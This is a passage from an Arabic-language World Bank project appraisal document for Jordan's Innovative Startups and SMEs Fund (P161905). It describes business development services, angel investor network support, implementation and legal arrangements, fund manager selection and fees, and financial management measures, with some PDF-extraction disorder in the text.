استعداد للسفر ولديه اتصاالت في المنطقة مثل شركاء محليين على استعداد للمساعدة في تنفيذ البرنامج وغيره( o القدرة على المساهمة )مع الصندوق( في تنمية شبكة المستثمرين المحليين والدوليين من إلجراء أحداث تقديم العروض. ب- سيدعم برنامج خدمات تنمية األعمال التجارية خطط نمو المؤسسات الصغيرة والمتوسطة الناشئة والتي تتطلب مساعدة خاصة لتصبح جاهزة/مؤهلة لالستثمار المختلط في رأس المال والدين من خالل الصندوق، وسيتم استهداف نحو 75 مؤسسة صغيرة ومتوسطة خالل اإلطار الزمني للمشروع، كما سيتم إجراء تقييمات تشخيصية لمدى أهلية/ اهتمام هذه المؤسسات، وسيتم استخدام هذه التقييمات فيما بعد لتوجيه المشروعات الواعدة إلى الخدمات التجارية ذات القيمة المضافة، وسيغطى الصندوق تكلفة تصل إلى إجمالي 20 ألف دوالر أمريكي لكل جهة مستفيدة من الدعم المقدم للمؤسسات الصغيرة والمتوسطة.  مقدمي خدمات تنمية األعمال التجارية المؤهلين، ينبغي أن يكون مقدم أنشطة خدمات التنمية ومنفذها من الشركات المسجلة في األردن، ولديه خبرة 3 سنوات في تقديم الخدمات التجارية للمؤسسات الصغيرة والمتوسطة يكون مؤهالً من الناحية الفنية لتقديم خدمات تنمية األعمال المحلية )ينبغي أن يقدم سجل إنجازاته(. وال بد أن التجارية المطلوبة، وعلى مقدمي خدمات األعمال التجارية استيفاء المعايير التالية: - خبرة في إدارة برامج وعمليات المنح، سواء أكانت لجهات حكومية أم منظمات أجنبية داخل األردن - القدرة على تقديم برامج منح خدمات التنمية وتوافر األنظمة الالزمة بما في ذلك التوعية الوطنية إلى جانب خصائص هذه البرامج وطرق تطبيقها وإدارتها وأنشطة متابعتها والتي يمكن وصفها كالتالي: o المعرفة بالنظام البيئي الشامل لريادة األعمال في األردن وأوجه االتصال به. o الترابط مع المستثمرين الممولين وصناديق رعاة األعمال/ التأسيس التابعين للصندوق. o تنظيم محاضرات توعية عن مبادرات األطراف المعنية والتسويق وصحائف الوقائع. o إعداد عمليات تقديم الطلبات والنماذج المتاحة عبر اإلنترنت. o التقييم والتحقق المبدئي من الطلبات المقدمة للتأكد من إمتثالها للمعايير وإعداد آلية لتوزيع الطلبات على المقيمين )كما أوضحنا من قبل( وضع نظام للتصنيف. o صياغة عملية االعتماد التخاذ قرارات نهائية بشأن المرافقة على الطلبات أم رفضها. o تقديم المساعدة وإعداد عمليات السداد للمتقدمين الناجحين وتقديم تعقيبات للمتقدمين غير الناجحين، وتقديم تقارير عن المشروع واإلتمام )عمليات التدقيق العشوائية(.  المؤسسات الصغيرة والمتوسطة المؤهلة: المؤسسات الصغيرة والمتوسطة هي شركات قائمة بالفعل لديها خطط نمو واضحة لزيادة اإلنتاج وأو لتقديم منتج جديد أو للوصول إلى سوق جديدة، والتي تحرص على التقدم بطلب للوصول إلى خطة الصندوق لالستثمار المختلط في رأس المال أو الدين. وينبغي أن تستوفي المؤسسات الصغيرة والمتوسطة المعايير التالية: o استخدام تكنولوجيا محددة ومناسبة أو نموذج للعمل التجاري من شأنه تنفيذ ما هو مقترح ويمكن أن ينتج البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 53 ويطرح في السوق. o قاعدة عمالء وسوق محددة ومعقولة من المهتمين بشراء المنتج أو الخدمة المقدمة التي تعرض أداء أو تكلفة أو ميزة تختلف عن المنتجات الموجودة حالياً أو أي منتج منافس محتمل في السوق، بل وتفوقه جودة. o يقدم النموذج التجاري فرصة للنمو السريع وتوفير عائد مربح يجذب المستثمر المالي. o توافر قيادة رشيدة وفريق إدارة يتمتع بالمهارات المطلوبة ونقاط القوة الشخصية للمثابرة والعزم على استكمال بناء عمل تجاري ناجح وتحقيق القيمة من فكرة العمل التجاري. o منطقية النفقات المقترحة في إطار المشروع وتعكس مبدأ القيمة مقابل المال )مثال: الخدمات االستشارية المقترحة ترتبط بالمشروعات وذات صلة بها وتتناسب المرتبات واألجور مع األسعار السائدة في السوق(.  تتضمن األنشطة المؤهلة وفقاً لعنصر تنمية األعمال التجارية ما يلي: o إعداد استراتيجية األعمال وتخطيطها، وزيادة التمويل وحوكمة الشركات )أي الهياكل التنظيمية( وتخطيط أسلوب التعاقب واإلرشاد. o إعداد استراتيجيات التسويق والتواصل بما في ذلك استراتيجيات توسيم المنتجات واستراتيجيات التسويق عبر مواقع التواصل االجتماعي/ التسويق الرقمي. o تحسين عملية اإلنتاج وتحديث التكنولوجيا المستخدمة. o وضع خطط استراتيجية للحفاظ على الملكية الفكرية وتنويع المنتجات والخدمات وتطويرها وإبتكار أخرى جديدة وإجراء األبحاث ووضع خطط إنمائية. o تعريف أسواق جديدة وتحليل القطاع وتنمية السوق ووضع استراتيجية للتصدير متضمنة اإلمتثال للقوانين واللوائح األجنبية. o وضع استراتيجيات تتعلق بالموارد البشرية واألنظمة والتدريب والتطوير. ت- تنمية شبكة رعاة األعمال باألردن سوف يشمل دعم رعاة األعمال المقترح مجموعة من خدمات تكوين مجموعتين 30 من مجموعات رواد األعمال على األقل. وقد تتضمن حزمة المساعدة ما يلي: 1 )تكوين مجموعة جديدة. 2 )تصميم شبكات وإنشاءها )مثال: الموازنة وتعيين مدير الشبكة وعمليات استجالب الصفقات ومعايير االستثمار والتوثيق الموحد والعالقات العامة(. 3 )تدريب مدير المجموعات وإرشاده 4 )تدريب أعضاء مجموعات رعاة األعمال وإرشادهم 5 )كما يمكن للمشروع أن يدعم األنشطة المنفذة على مستوى النظام والتي تستفيد من جميع شبكات رعاة األعمال األردنية والتي قد تتضمن ما يلي:  إعداد مستندات وإرشادات عامة.  تقديم المشورة والوثائق الداعمة ألدوات االستثمار المناسبة للسوق األردني )رأس المال العادي والدين واتفاقيات عائد األسهم والضمانات وغيره(.  تقديم المشورة بشأن اإلصالح التنظيمي ذي الصلة.  صناديق استثمارات المغتربين واالستثمارات المشتركة بين المغتربين وصناديق sidecar زادت أهمية استثمار رعاة األعمال الممولين في جميع أنحاء العالم، وهو عنصر متزايد األهمية في النظام البيئي الشامل لريادة األعمال في حالة 30 االقتصادات النامية. وقد تناولت ورقة بحثية أعدها ليرنر وشوار وسوكولينسكي وويلسون بعنوان "عولمة االستثمارات التمويلية: أدلة من مختلف البلدان" استثمارات 13 مجموعة من مجموعات رعاة األعمال في 21 دولة، وتقارن هذه الورقة بين المتقدمين بطلبات من بين من بين من يتجاوزون الحد األدنى للتمويل بفارق ضئيل ومن يكادون يتجاوزونه، واستخلصت أن هؤالء المستثمرين رعاة األعمال لهم تأثير إيجابي على نمو الشركات أن اآلثا وأداءها وبقاءها، وكذلك على متابعة التمويل. وكشفت هذه الورقة البحثية أيضا ر اإليجابية للتمويل الذي يرعى األعمال كانت مستقلة عن ً مستوى النشاط االستثماري ومالئمة لرواد األعمال في البالد. تركزت مجموعات رعاة األعمال في األرجنتين واستراليا وبلجيكا وكندا والصين وألمانيا وإيطاليا والمكسيك ونيوزيلندا وسويسرا والمملكة المتحدة والواليات المتحدة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 54  التعلم من خبراء االستثمار األجانب والتواصل معهم. 6 )وتستهدف هذه الحزمة تنمية أفراد ومجموعات من رعاة األعمال المستثمرين لكي يصبحوا مؤهلين لضخ استثمارات مشتركة مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ولذلك يجب الموائمة بين آليات اعتماد األفراد والمجموعات ج. إدارة المشروع وتنسيقه ومتابعته وتقييمه )قيمة قرض البنك 2 مليون دوالر/ إجمالي الموازنة 4 مليون دوالر( 36 .باعتبارها الجهة المنفذة للمشروع، سوف تتولى الشركة األردنية لضمان القروض مسئولية اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية الذي يقوم بإدارة الحساب المخصص للمشروع، بما يضمن أن ينفذ الصندوق األنشطة االئتمانية وأنشطة الضمانات الوقائية المالئمة وإعداد التقارير ذات الصلة وفقاً للمعايير الواردة في دليل عمليات المشروع، وإدارة آلية التعامل مع الشكاوى والتظلمات. 37 .سوف يتم تمويل الصندوق وجميع التكاليف التشغيلية واإلدارية إلدارة المشروع واإلشراف عليه من تكاليف إدارة المشروع. وسوف تدعم موارد المشروع األنشطة التدريبية وأنشطة بناء القدرات والتسويق وأنشطة تحليل وتقييم النظام البيئي الشامل والتنسيق مع الجهات المانحة والبرامج وإشراك المواطنين/ العمالء والوصول إلى مختلف المناطق والمواقع اإللكترونية والمؤتمرات، إلى جانب النفقات التشغيلية والقانونية متضمنة النفقات ذات الصلة باالئتمان والضمانات الوقائية والمتابعة والتقييم. شكل رقم 1-1 .العملية االستثمارية اإلرشادية لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية * هذه البيانات بيانات إرشادية وسوف يحتاج فريق إدارة الصندوق إلى إجراء بعض التعديالت لتقديم التقارير واإلبالغ 38 .سوف يقوم البنك الدولي بتدريب فريق عمل الصندوق ومستشاريه المشاركين في المشروع على تقديم التقارير حول اإلدارة المالية والمبادئ التوجيهية للضمانات الوقائية على النحو المطلوب. ومن الممكن كذلك تقديم تدريب إضافي محلي لتجديد أو لتنفيذ المشروع بشكل فعال. زيادة الكفاءات في المجاالت الفنية متى كان ذلك مطلوبا ً استجالب الصفقات - بشكل مباشر - بشكل غير مباشر الموافقات - عقد لجنة االستثمار صياغة جميع الوثائق القانونية - التنفيذ - إطالق الصناديق الخروج مراجعة االستثمار لسياسات - وفقاً وإجراءات االستثمار - العناية الواجبة المراجعة التجارية المراجعة المالية المراجعة القانونية التقييم وهيكلة الصفقات المفاوضات إدارة المحفظة - إعداد التقارير - اجتماعات مجلس اإلدارة - الدعم - الحوكمة واالمتثال البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 55 ملحق رقم 2 :ترتيبات التنفيذ الدولة: المملكة األردنية الهاشمية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية الترتيبات المؤسسية وترتيبات التنفيذ ذات الصلة بالمشروع 1 .سوف يتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بوصفه كيان ألغراض خاصة تحت إشراف المراقب المالي للشركات الذي يشرف على كافة الشركات الخاصة. وقد جرى االتفاق، تشجيعا القطاع ً الشتراك للشفافية والتنفيذ التجاري، بأن ُينشأ الصندوق من خالل الشركة األردنية لضمان القروض باعتبارها الكفيل الخاص وتعزيزاً المحلي للمشروع. وسوف تبرم االتفاقيات القانونية الالزمة لضمان فعالية المشروع، وهي كما يلي: ة عن حكومة األردن التي ً 2 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية القرض، وتحصل على قرض البنك الدولي نياب ستتولى مسئولية سداد القرض للبنك الدولي. 3 .سوف يوقع البنك الدولي اتفاقية المشروع مع الشركة األردنية لضمان القروض بوصفها الهيئة المسئولة عن تنفيذ المشروع وفقاً التفاقية القرض ودليل عمليات المشروع 4 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية تمويل مشترك مع البنك المركزي األردني بشأن التمويل المشترك الذي سيقدمه البنك للمشروع. 5 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية فرعية مع الشركة األردنية لضمان القروض باعتبارها الجهة المنفذة. شكل رقم 2-1 .الترتيب القانوني في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 6 .ستتملك الشركة األردنية لضمان القروض حصصاً نيابة عن الحكومة لحين تصفية األصول وتسليم أي عائدات متبقية إلى الحكومة. وسوف تتولى الشركة المسئولية القانونية ة للتنفيذ بما يتفق مع متطلبات ً ة على الصندوق وضامن ً إلنشاء الصندوق، وتتمتع بعضوية المجلس التنفيذي ورئاسته، مشرف البنك الدولي، ومنها تعيين مدير من ذوي الكفاءات يتولى تنفيذ أنشطة المشروع ومتابعتها وتقييمها، وإدارة االئتمان والضمانات الوقائية، وتقديم التقارير المطلوبة. البنك الدولي الحكومة األردنية الشركة األردنية لضمان القروض الجهة المنفذة 2.اتفاقية القرض 2 .اتفاقية المشروع 4 .االتفاقية الفرعية البنك المركزي األردني 3 .اتفاقية التمويل المشترك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 56 شكل رقم 2-2 .التنفيذ المؤسسي 7 .سوف تضع الشركة األردنية لضمان القروض الضوابط الالزمة لتنفيذ المشروع تحت إشراف صارم مستقل بقيادة القطاع الخاص ووفق استراتيجية استثمار مهنية تتميز بالشفافية؛ وتشمل هذه الضوابط تشكيل مجلس إدارة مؤلف من أعضاء من القطاع الخاص، وتشكيل لجنة استثمار مستقلة مؤلفة بالكامل من خبراء من القطاع الخاص تتولى، وفق تعليمات مجلس اإلدارة، البت في أمر االستثمارات وطرق تجنب الجزاءات التي يقترحها فريق إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية؛ ولن تشارك الشركة األردنية لضمان القروض في اختيار االستثمارات، بل ستقوم بتوقيع اتفاقية إدارة مع مدير الصندوق لتحديد مسئوليات الشركة في كافة أمور اإلشراف، ومسئوليات المدير في اختيار االستثمارات وإدارتها وتقديم التقارير إلى كل من الشركة األردنية والبنك الدولي. 8 .سوف يكون صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية فعلياً هو وحدة إدارة المشروع المنوط بها تنفيذ كل عمليات المشروع وإعداد التقارير الالزمة وتسليمها. وسوف يقدم مدير الصندوق تقاريره إلى الشركة األردنية لضمان القروض بوصفها رئيس مجلس اإلدارة، بينما ستعمل الشركة بوصفها الجهة المنفذة بموجب قرض المشروع، وستتكبد النفقات الالزمة قبل إنشاء الصندوق واختيار مديره، مثل نفقات تقديم العطاءات وتقييم المرشحين إلدارة الصندوق واختيار أحدهم، إضافة إلى النفقات اإلدارية ونفقات إنشاء الصندوق. كما ستدفع الشركة نفقات إدارة الحساب المخصص للمشروع وإدارة قضايا التعويضات، وضمان تقديم التقارير الالزمة بشأن االئتمان والضمانات الوقائية إلى البنك الدولي. قد تستخدم األموال التي يخصصها الصندوق للمشروع لسداد المبالغ التي تتكبدها الشركة األردنية. بوصفه مديراً ألصول للصندوق، ويحصل على أتعاب نظير اإلدارة واألداء بهدف تعزيز ثقافة 9 .سيعمل مدير الصندوق أيضاً النجاح؛ بمعنى أن يحصل على مكافأة كبيرة إذا نجح الصندوق في زيادة قيمة رأس المال. وتسدد أتعاب مدير الصندوق بطريقتين مختلفتين: ii .الطريقة األولى: أتعاب مهنية مغرية نظير الخدمة. تضمن هذه األتعاب أن مشروع التمويل )عبر نوافذ تمويله( يجذب المهنيين الذين يضيفون خبرات واسعة للمشروع. وسوف تركز معايير االختيار على الخبرة وااللتزام على المدى الطويل. صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية الشركة األردنية لضمان القروض، 51 %من الحصص رئيس مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية )وحدة تنفيذ المشروع( اتفاقية اإلدارة البنك المركزي األردني 49 %من الحصص )شريك موصي( اتفاق المساهمين لجنة االستثمار تراجع االستثمارات وتختار منها دعم النظام البيئي الشامل الشركات الصغيرة والمتوسطة صناديق التمويل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 57 iii .الطريقة الثانية: مكافآت مشروطة بتحقيق أهداف معينة. وتنقسم هذه المكافآت إلى ثالث مراحل، وتعكس أرصدة األعمال واإلنجازات الالزمة إلنجاز مراحل العمل وأهدافه. وهذه المراحل هي: 1 -المرحلة األولى: إعداد العمليات. وتشمل اختيار الموظفين الالزمين للصندوق، وضمان أنه يعمل بفعالية تامة في موعد أقصاه أربعة أشهر عقب بدء تنفيذ المشروع، بما في ذلك على سبيل المثال ال الحصر: تدريب الموظفين، والدعاية الفعالة للصندوق، واالرتباط الرسمي أو شبه الرسمي مع صناديق التمويل، ودعم النظام البيئي الشامل في ًط تمويل المشروعات وفي أنشطة تدفق ا ا لصرف المكافأة( لصفقات. )ويعد جميع ما سبق شر . 2 -المرحلة الثانية: إبرام صفقات االستثمار وتشمل مكافأة إضافية تمثل نسبة من رأس المال الخاص التي جمعها الصندوق. 3 -المرحلة الثالثة: مكافأة النجاح/ المنفعة المعلقة: تقدم هذه المكافأة األخيرة عند تصفية الصندوق وتحويل أصول للزيادة في قيم االستثمار التي تحققت خالل فترة االستثمار المقّيمة إلى أموال، وتعد المكافأة األساسية، وتحدد وفقاً عادًة المشروع، وتحسب كنسبة من األرباح. 11 .عملية اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية والمعايير الواجب مراعاتها: أ- ينبغي أن يتمتع المدير باآلتي: )أ( القدرة على التقييم السديد للفرص االستثمارية في المؤسسات الصغيرة والمتوسطة؛ )ب( القدرة على توفير التدريب وسبل الدعم الالزمة التي تحتاج إليها المؤسسات الصغيرة والمتوسطة الشابة واإلبتكارية؛ )ج( لديه سجل جنائي نظيف، وعدم وجود اسمه في قاعدة بيانات البنك الدولي الخاصة بالقائمة السوداء للعمالء. ب- يراعى في اختيار المرشحين لمنصب المدير أو المناصب العليا بالصندوق أال يكونوا قد تعرضوا للمقاضاة أو المساءلة القانونية أو أقيمت ضدهم دعاوى خالل السنوات الثالث السابقة. وسوف تنص عملية تقديم العطاءات بوضوح على معايير االختيار وترتيبها من حيث األهمية، وستركز معايير االختيار على الخبرة وااللتزام على المدى الطويل. كما سوف تشمل معايير اختيار المرشحين لتولي المناصب بالصندوق مقدار التعزيز المالي باالقتراض الذي يتمتع به كل للفائدة القصوى من المشروع. منهم، وذلك تحقيقاً ت- تشمل معايير االختيار كل مما يلي: 1 -خطاب النوايا المقدم من المساهمين من القطاع الخاص. 2 -االلتزامات الرأسمالية التي يتعهد بها مدير الصندوق والمستثمرين من القطاع الخاص. 3 -كفاءة فريق االستثمار وخبرته في أسواق المراحل المبكرة وأسواق رأس المال المخاطر التي تتسم بالرسوخ. 4 -سجل إنجازات المرشح في إدارة االستثمارات. 5 -خبرة الفريق المرشح ومهاراته في االستثمار في أسواق المراحل المبكرة وأسواق رأس المال المخاطر وإدارتها واالنسحاب منها. 6 -االستثمارات المقترحة واستراتيجية التخارج، بما يتفق مع أهداف البرنامج، بما في ذلك:  مجموعة المشروعات المحتملة.  هيكل ومستوى أتعاب اإلدارة.  استراتيجية التخارج 7 -الربط واإلطار التشغيلي المتصل بالنظام البيئي الشامل لريادة األعمال 8 -موقع فريق اإلدارة، بحيث يستطيع الصندوق االستثمار بفعالية في مشروعات ريادة األعمال المحلية في األردن والعمل معها. اإلدارة المالية 11 .ترتيبات التنفيذ واختيار الموظفين. سوف تقوم الشركة األردنية لضمان القروض بإدارة التنسيق الكلي لتنفيذ المشروع، بينما يتولى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية اإلدارة المالية اليومية والمدفوعات. وكانت الشركة األردنية قد تأسست سنة 1994 باعتبارها شركة مساهمة عامة برأس مال مدفوع قدره 7 مليون دينار أردني، ودورها هو تقديم الضمانات للقروض التجارية الممنوحة للمؤسسات الصغيرة والمتوسطة. وفي 1997 ،ازداد رأس مال الشركة إلى 10 مليون دينار أردني لتغطية ائتمان التصدير وتشجيع المؤسسات الصغيرة والمتوسطة على العمل خارج األردن. وتتمتع الشركة بالخبرة في العمل مع مجموعة البنك الدولي ومؤسسة التمويل الدولية والبنك الدولي لإلنشاء والتعمير عبر المرفق االقليمي للمساعدة الفنية المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق االوسط وشمال افريقيا، والذي يدعم إدارة المخاطر بالشركة، وستكون هذه هي المرة األولى التي تدير فيها الشركة تمويل مشروع استثماري تابع للبنك الدولي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 58 12 .ستتمكن الشركة األردنية لضمان القروض من خالل استخدام صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة بعيدا عن البرنامج الحالي لضمانات القروض لحين ً االبتكارية باعتباره كيان ألغراض خاصة، بعزل حصص رأس المال تسييل العائدات النهائية وإعادتها إلى حكومة األردن. وعلى الصندوق أن يحافظ على جملة أمور من بينها، كفاءة نظم اإلدارة المالية، وتشمل السجالت والحسابات والقوائم المالية التي تعكس بوضوح عمليات المشروع وموارده ونفقاته. وبمجرد إنشاء الصندوق، سيقوم فريق اإلدارة المالية بالبنك الدولي بإجراء التقييم الالزم لتحقيق هدف المشروع. وسوف يضم فريق الصندوق يشغل منصب كبير الموظفين الماليين يعمل بدوام كامل، ويخصص راتبه من عائدات القرض، ويعمل تحت إشراف موظفاً لمحدودية القدرات، إلى تعيين موظف في المدر العام للصندوق. ومن ناحية أخرى، فسوف تحتاج الشركة األردنية، نظراً منصب محاسب أول يعمل بدوام جزئي، يدفع المشروع راتبه، وينسق مع المسئول المالي للصندوق في األمور المالية وما يتعلق بمدفوعات المشروع. للتقييم األولي، وفي حالة اتخاذ تدابير ّيمت مخاطر اإلدارة المالية بأنها "مرتفعة" وفقاً 13 .مخاطر اإلدارة المالية للمشروع: قُ التخفيف من حدة تلك المخاطر، فإن المشروع سيحظى بترتيبات مقبولة لإلدارة المالية، وسيهبط تصنيف المخاطر المتبقية إلى "كبيرة". وتقيم مخاطر اإلدارة المالية بأنها "كبيرة" لعدة أسباب، أبرزها: )أ( المعامالت المالية المعقدة؛ )ب( استخدام عدة صكوك استثمارية في المشروع؛ )ج( تعدد خطوط التسلسل اإلداري بين الهيئات؛ )د( قد ال يتم دفع األموال وفقاً التفاقية القرض أو بما يحقق هدف المشروع أو أنها ال تصل إلى الجهات المستفيدة المستهدفة. 14 .تم اقتراح التدابير التالية للتخفيف من حدة مخاطر اإلدارة المالية: أ- سوف يعين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مدير مالي المنشأ حديثا من ذوي الكفاءات ً والمؤهالت لتولي عمليات التدوين واإلنفاق والتحويالت اليومية إلى الهيئات األخرى والحفاظ على موثوقية النظام المالي. وستعين الشركة األردنية لضمان القروض محاسب أول لمتابعة الحساب المخصص وتسليم التقارير المالية المؤقتة غير المدققة إلى البنك الدولي. ب- سوف تتولى الشركة األردنية عملية تدفق األموال عبر حساب مخصص للمشروع مفتوح في أحد البنوك التجارية التي يوافق عليها البنك الدولي، كما سوف يفتح الصندوق حساب فرعي بالدينار األردني ويديره. ت- سوف تراقب الشركة األردنية تنفيذ المشروع عن كثب، شامال اإلدارة المالية وأنشطة الدفع واإلشراف على استدامة عمليات الصندوق. ث- بموجب اتفاقية اإلدارة، سوف تقتصر وظيفة وعمليات الصندوق على االستثمار )وتنفيذ عمليات التخارج ذات الصلة( وحيازة أس المال التي تختارها لجنة االستثمارات وفقاً استثمارات ر للمعايير الواردة في دليل عمليات المشروع وتحت إشراف الشركة األردنية. ج- سوف يشارك في تمويل أنشطة المشروع كل من البنك الدولي والبنك المركزي األردني، وسوف يحدد نظام المحاسبة نسب مشاركة كل منهما في التمويل، لسببين متضافرين، وهما: )أ( التنبؤ بالمبالغ النقدية المطلوب سحبها من المشاركين في التمويل؛ لالتفاق القانوني. )ب( تحديد الحصص التناسبية في النفقات وفقاً ح- سوف ُيعد دليل عمليات المشروع ويتضمن فصال عن اإلدارة المالية؛ حيث سيتناول بالتفصيل سياسات اإلدارة المالية وإجراءاتها الواجب على الصندوق اتخاذها لتنفيذ أنشطة االستثمار المشترك بالتمويل المختلط من رأس المال والدين، كما سيتناول تكاليف االبتكارات ودعم أنشطة زيادة تدفق الصفقات. وسيحدد هذا الفصل أيضاً، عدة أمور من بينها، األدوار والمسئوليات والعالقات بين الوكاالت )الشركة والصندوق(. وسوف تلزم الشركة الصندوق باعتماد دليل عمليات المشروع. تشكل لجنة استثمار مستقلة تتألف من خبراء مستقلين في االستثمار في مجال ريادة األعمال، وتحديد الجهات المستفيدة من خ- سوف ُ للتحليل المالي الذي أجراه الص استثمارات رأس المال وفقا ندوق، ومعايير االختيار الواردة في دليل عمليات المشروع، كما ً ستتولى لجنة االستثمار تحديد االستثمارات واستراتيجيات التخارج. د- سوف يشتري الصندوق نظام محاسبة مقبول ويستخدمه لتسجيل المعامالت المالية وإعداد التقارير المالية المؤقتة ربع السنوية. ذ- سوف يعد الصندوق التقارير المالية المؤقتة ربع السنوية التي تتناول االستثمار في رأس المال واألنشطة المتعلقة به، ويسلمها إلى الشركة األردنية لدمجها في أنشطة المشروع التي تنفذها الشركة وتقدم تقارير ربع سنوية عنها إلى البنك الدولي. تجرى تقييمات بسيطة لإلدارة المالية لصالح مقدمي الدعم بهدف ضمان إتاحة أنظمة اإلدارة المالية الجيدة. ر- سوف ُ للشروط المرجعية المعتمدة لدى ز- سوف يعين الصندوق مدقق حسابات خارجي في غضون ستة أشهر من بدء المشروع وفقاً البنك، ويتولى مراجعة القوائم المالية للمشروع. وسوف يتم اإلفصاح عن القوائم المالية السنوية للمشروع بعد مراجعتها. وتسدد تكاليف مراجعة الحسابات من عائدات القرض. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 59 س- سوف يعين الصندوق مدقق حسابات داخلي يقدم تقاريره إلى مجلس اإلدارة خالل السنة األولى من تنفيذ المشروع. وينبغي للبنك الدولي أن يعتمد الشروط المرجعية لمدقق الحسابات الداخلي ويسلمها قبل تعيينه. وسيعمل هذا المدقق بالتنسيق مع موظف مراقبة االمتثال بالصندوق، وسوف تغطي عائدات القرض راتبه. ش- سوف يعين الصندوق شركة استشارية، أو يوسع من نطاق عمل مدقق الحسابات الداخلي المعين، بحيث تتضمن صالحياته إجراء مراجعة سنوية لإلجراءات المتفق عليها التي يتبعها المستفيدون )الشركات الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس مال المخاطر والمعجالت وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها(. 15 .وضع الموازنة وتدفق األموال: سوف يضع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية موازنة المشروع وخطة دورية لإلنفاق بنا ًء على التمويل المتوقع ضخه في استثمارات رأس المال قيد التخطيط، وتكاليف االبتكار والدعم المالي، وتراجع الشركة هذه الموازنة وتعتمدها قبل تسليمها إلى البنك الدولي باعتبارها جزءاً من التقارير المالية المؤقتة غير المدققة ربع السنوية. ومن ثم، ستستخدم الموازنة كأداة للمتابعة وتحليل الفروق في الموازنة وإدارة األموال، وسوف يسجل كل ذلك في التقارير المذكورة. ولضمان إتاحة األموال بسهولة لتنفيذ المشروع، سوف يتم فتح حساب مخصص للمشروع بالدوالر األمريكي في أحد البنوك التجارية المعتمدة لدى البنك الدولي. وتتم عمليات السحب واإليداع من هذا الحساب بها الوثائق وإليه بموجب خطاب إنفاق القرض. وسوف تحضر الشركة األردنية لضمان القروض استمارات السحب مرفقاً الالزمة بتوقيعات الموقعين المعتمدين. وسوف يوضح دليل عمليات المشروع بالتفصيل تدفق األموال والعالقات بين الوكاالت. 16 .االستثمار المشترك بالتمويل المختلط من رأس المال والدين: ألغراض تنفيذ المشروع المتصلة بمكون استثمارات رأس المال، ستنشئ الشركة األردنية لضمان القروض الصندوق وتسند إليه مهمة المساهم اإلداري، وكذلك إدارة عمليات استثمار رأس المال اليومية. وسوف تحول الشركة األموال من الحساب المخصص للمشروع إلى الحساب البنكي للصندوق لكي يستثمر لمعايير اختيار االستثمار وشروطه الواردة في دليل رأس المال المخاطر بمجرد تحديد المبلغ المقرر من لجنة االستثمار وفقاً عمليات المشروع. وينبغي أن يستوفي الصندوق المتطلبات المالية المعتمدة من البنك الدولي والموضحة في دليل عمليات المشروع لكي يستطيع القيام باالستثمارات وإداراتها، ومن هذه المتطلبات االستثمار في شركات ذات خبرة عامين والتي تتبع أنظمة مالية سليمة، على أن تقدم قوائم مالية مدققة من مدقق حسابات مرخص من جمعية المحاسبين القانونيين االردنيين، وأال تكون قد حصلت على آراء سلبية أو معبرة عن إخالء الذمة في السنوات الثالثة السابقة. وسوف يتم ايداع أرباح االستثمارات وعائدات بيع/ تصفية االستثمارات في حساب بنكي منفصل بأحد البنوك التجارية، والغرض منه مختلف عن الحساب لمشروع، ويستخدم هذا الحساب وفقاً المخصص ل لالتفاق مع البنك المركزي األردني والحكومة األردنية. 17 .سوف يمول المشروع االستثمارات المؤهلة في مبادرات االبتكار وريادة األعمال المطابقة للمعايير. وسوف يستثمر في رأس مال الشركات الناشئة في مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 3 ماليين دوالر أمريكي(. وباإلضافة إلى ذلك، سوف يمنح الصندوق إلى الصناديق الشريكة مبلغاً ال يرد لضمان نجاح الشركات االبتكارية الناشئة، بحد أقصى مئة ألف دوالر أمريكي لكل صندوق شريك. ويتعين على مديري قدموا عرضاً الصناديق الذي يتقدمون بطلب من الصندوق الحصول على استثمارات رأسمالية أو مشاركة في االستثمار أن ي يوضح أساس تحديد التكاليف وفقاً الستراتيجية االستثمار التي يتبعونها والجهات المحتملة لضخ االستثمارات. 18 .تمويل خلق التدفقات النقدية: ستركز المساعدة المقدمة لدعم الجاهزية لالستثمار على تقديم دورات تدريبية حول الجوانب الفنية واإلدارية، حتى تتأهب الشركات الناشئة لالستثمارات وتقدم خدمات تنمية األعمال التجارية على مستوى الشركات، وتقدم هذه الدورات لألعمال التجارية القائمة التي تتطلب مساعدة استشارية/ فنية حتى تصبح جاهزة لتنفيذ برامج استثمارات الصندوق بالتمويل المختلط من رأس المال والدين. وفضال عن ذلك، سيتم التعاقد مع مقدمي 